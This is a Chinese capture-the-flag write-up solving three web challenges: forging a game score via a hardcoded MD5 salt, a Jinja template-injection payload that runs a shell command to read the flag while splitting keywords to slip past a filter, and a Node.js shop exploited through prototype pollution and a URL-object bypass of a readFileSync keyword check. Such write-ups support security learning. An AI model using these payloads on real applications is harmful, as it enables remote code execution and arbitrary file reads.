web
dino3d
金典前端小游戏,但是这道题的flag是放在后端的check.php,传入三个参数,socre token 和tm时间戳,首先定位到关键代码
sn(e, t) {
e && t && fetch("/check.php", {
method: "POST",
headers: {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
},
body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
}).then(e=>e.text()).then(e=>alert(e))
}
很明显就是一个接口,这里的token生成方式为md5(parseInt(e).toString() + t),t就是salt,并且数固定值
var salt = "_wElc03e";
var checkCode = "DASxCBCTF" + salt;
这里我就直接解出题目的js环境,在控制台里面直接传参了
payload
var s = "DASxCBCTF_wElc03e";
console.log(game.sn(10000000, s));
Text Reverser
简单的ssti,也没啥过滤,就过滤了个命令执行执行的关键词以及{{
双花括号,可以直接由{%print()%}代替
下面给出exp
# -*- coding: utf-8 -*-
# @Time : 2022/9/18 12:33
# @Author : pysnow
payload = "{%print(''.__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('ca'+'t /f*').read()\"))%}"
print(payload[::-1])
cbshop
const fs = require('fs');
const express = require('express');
const session = require('express-session');
const bodyParse = require('body-parser');
const app = express();
const PORT = process.env.PORT || 80;
const SECRET = process.env.SECRET || "cybershop_challenge_secret"
const adminUser = {
username: "admin",
password: "😀admin😀",
money: 9999
};
app.use(bodyParse.urlencoded({extended: false}));
app.use(express.json());
app.use(session({
secret: SECRET,
saveUninitialized: false,
resave: false,
cookie: { maxAge: 3600 * 1000 }
}));
app.use(express.static("static"));
app.get('/isLogin', function(req, res) {
if(req.session.username) {
return res.json({
code: 2,
username: req.session.username,
money: req.session.money
});
}else{
return res.json({code: 0, msg: 'Please login!'});
}
});
app.post('/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (typeof username !== 'string' || username === '' || typeof password !== 'string' || password === '') {
return res.json({code: 4, msg: 'illegal username or password!'})
}
if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
req.session.username = username;
req.session.money = adminUser.money;
return res.json({
code: 1,
username: username,
money: req.session.money,
msg: 'admin login success!'
});
}
req.session.username = username;
req.session.money = 10;
return res.json({
code: 1,
username: username,
money: req.session.money,
msg: `${username} login success!`
});
});
app.post('/changeUsername', function(req, res) {
if(!req.session.username) {
return res.json({
code: 0,
msg: 'please login!'
});
}
let username = req.body.username;
if (typeof username !== 'string' || username === '') {
return res.json({code: 4, msg: 'illegal username!'})
}
req.session.username = username;
return res.json({
code: 2,
username: username,
money: req.session.money,
msg: 'Username change success'
});
});
//购买商品的接口
function buyApi(user, product) {
let order = {};
if(!order[user.username]) {
order[user.username] = {};
}
Object.assign(order[user.username], product);
if(product.id === 1) { //buy fakeFlag
if(user.money >= 10) {
user.money -= 10;
Object.assign(order, { msg: fs.readFileSync('/fakeFlag').toString() });
}else{
Object.assign(order,{ msg: "you don't have enough money!" });
}
}else if(product.id === 2) { //buy flag
if(user.money >= 11 && user.token) { //do u have token?
if(JSON.stringify(product).includes("flag")) {
Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
}else{
user.money -= 11;
Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
}
}else {
Object.assign(order,{ msg: "nononono!" });
}
}else {
Object.assign(order,{ code: 0, msg: "no such product!" });
}
Object.assign(order, { username: user.username, code: 3, money: user.money });
return order;
}
app.post('/buy', function(req, res) {
if(!req.session.username) {
return res.json({
code: 0,
msg: 'please login!'
});
}
var user = {
username: req.session.username,
money: req.session.money
};
var order = buyApi(user, req.body);
req.session.money = user.money;
res.json(order);
});
app.get('/logout', function(req, res) {
req.session.destroy();
return res.json({
code: 0,
msg: 'logout success!'
});
});
app.listen(PORT, () => {console.log(`APP RUN IN ${PORT}`)});
获取admin账号
关键代码
if(username === adminUser.username && password === adminUser.password.substring(1,6))
截取第一位到第6位,首先把题目给的password unicode编码一下
\ud83d\ude00\u0061\u0064\u006d\u0069\u006e\ud83d\ude00,截取后为
\ude00\u0061\u0064\u006d\u0069
登陆成功
原型链污染
如果进入*if*(*user*.money >= 11 && *user*.token)
就要,就要凭空出现个token参数,很显然这里是没有,要是没有怎么办,js会向它的原型链上寻找该参数,刚好这里又存在污染点
Object.assign(order[*user*.username], *product*);
直接让username的值为__proto__
,合并product到order对象的原型链上
payload如下
成功进入文件读取
URL对象绕过
这里存在一个关键词过滤,过滤了flag关键词,但是可以任意读文件的
这里其实是国外一个比赛的原题(corCTF2022 simplewaf),具体可以移步这篇文章https://pysnow.cn/archives/330/
大概说一下,就是readFileSync
这个原生函数其实是可以传入一个URL对象的,URL对象会自动URL解码,这样就可以通过URL编码绕过waf了,具体的源码分析可以去我那篇文章看,最好自己试着跟进一下,还是非常有意思的
下面给出payload
{"token":"1",
"name":
{
"href":"a",
"origin":"b",
"pathname":"/fl%61g",
"protocol":"file:",
"hostname":""
}
,"id":2}